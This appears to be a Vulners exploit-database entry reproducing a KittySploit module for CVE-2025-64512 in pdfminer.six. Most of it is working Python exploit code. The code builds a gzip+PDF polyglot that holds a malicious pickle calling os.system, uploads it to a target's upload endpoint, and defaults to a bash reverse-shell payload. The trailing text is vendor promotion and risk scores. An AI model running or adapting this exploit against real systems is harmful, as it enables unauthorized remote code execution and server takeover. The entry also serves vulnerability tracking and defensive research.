Lucene search
+L

pdfminer.six CVE-2025-64512 polyglot RCE

🗓️ 26 Oct 2026 17:01:54Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 4 Views

pdfminer.six RCE via pickle deserialization in gzip+PDF polyglot files.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""pdfminer.six CVE-2025-64512 pickle polyglot PDF gzip RCE."""

from __future__ import annotations

import gzip
import pickle
from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "pdfminer.six CVE-2025-64512 polyglot RCE",
        "description": (
            "CVE-2025-64512: malicious gzip+PDF polyglot deserializes pickle "
            "when a service runs pdf2txt/pdfminer on attacker-uploaded files."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2025-64512"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2025-64512",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["pdfminer", "pickle", "pdf", "rce", "cve-2025-64512"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {"suggested_followups": ["scanner/http/pdfminer_cve_2025_64512_detect"]},
        },
    }

    upload_path = OptString("/upload", "Endpoint accepting PDF/GZ upload", required=True)
    encoding_path = OptString("#2Fopt#2FPoC#2Fpayload", "PDF encoding path in PoC", required=False, advanced=True)
    command = OptString("", "Command (overrides payload)", required=False)

    def _build_gz_pdf(self, cmd: str) -> bytes:
        class _RCE:
            def __init__(self, c: str):
                self.c = c

            def __reduce__(self):
                import os as _os

                return (_os.system, (self.c,))

        pickled = pickle.dumps(_RCE(str(cmd)))
        enc = str(self.encoding_path or "#2Fopt#2FPoC#2Fpayload")
        pdf = f"""% CVE-2025-64512
%PDF-1.4
1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj
2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj
3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]/Contents 4 0 R
/Resources<</Font<</F1 5 0 R>>>>>>endobj
4 0 obj<</Length 44>>stream
BT /F1 12 Tf 100 700 Td (PoC) Tj ET
endstream endobj
5 0 obj<</Type/Font/Subtype/Type0/BaseFont/X/Encoding/{enc}/DescendantFonts[6 0 R]>>endobj
6 0 obj<</Type/Font/Subtype/CIDFontType2/BaseFont/X/CIDSystemInfo<</Registry(Adobe)/Ordering(Identity)/Supplement 0>>/FontDescriptor 7 0 R>>endobj
7 0 obj<</Type/FontDescriptor/FontName/X/Flags 4/FontBBox[-1000 -1000 1000 1000]/ItalicAngle 0/Ascent 1000/Descent -200/CapHeight 800/StemV 80>>endobj
xref
0 8
0000000000 65535 f 
trailer<</Size 8/Root 1 0 R>>
startxref
400
%%EOF
""".encode()
        base_gz = gzip.compress(pickled)
        gz = bytearray(base_gz)
        gz[3] |= 0x10
        comment = b"\n" + pdf + b"\x00"
        out = bytearray()
        out += gz[:10]
        out += comment
        out += gz[10:]
        return bytes(out)

    def execute(self, cmd: str) -> str:
        blob = self._build_gz_pdf(cmd)
        resp = self.http_request(
            "POST",
            str(self.upload_path or "/upload"),
            files={"file": ("payload.pickle.gz", blob, "application/gzip")},
        )
        return (resp.text or "")[:1000] if resp else ""

    def run(self):
        cmd = str(self.command or "").strip() or str(self.payload or "").strip()
        if not cmd:
            print_error("Set command or payload")
            return False

        print_status("CVE-2025-64512 — pdfminer polyglot upload")
        detail = self.execute(cmd)
        if detail:
            print_info(detail)
        if str(self.command or "").strip():
            return self.handler_execute()
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Oct 2026 17:01Current
7.4High risk
Vulners AI Score7.4
CVSS 3.17.8 - 8.6
EPSS0.00334
SSVC
4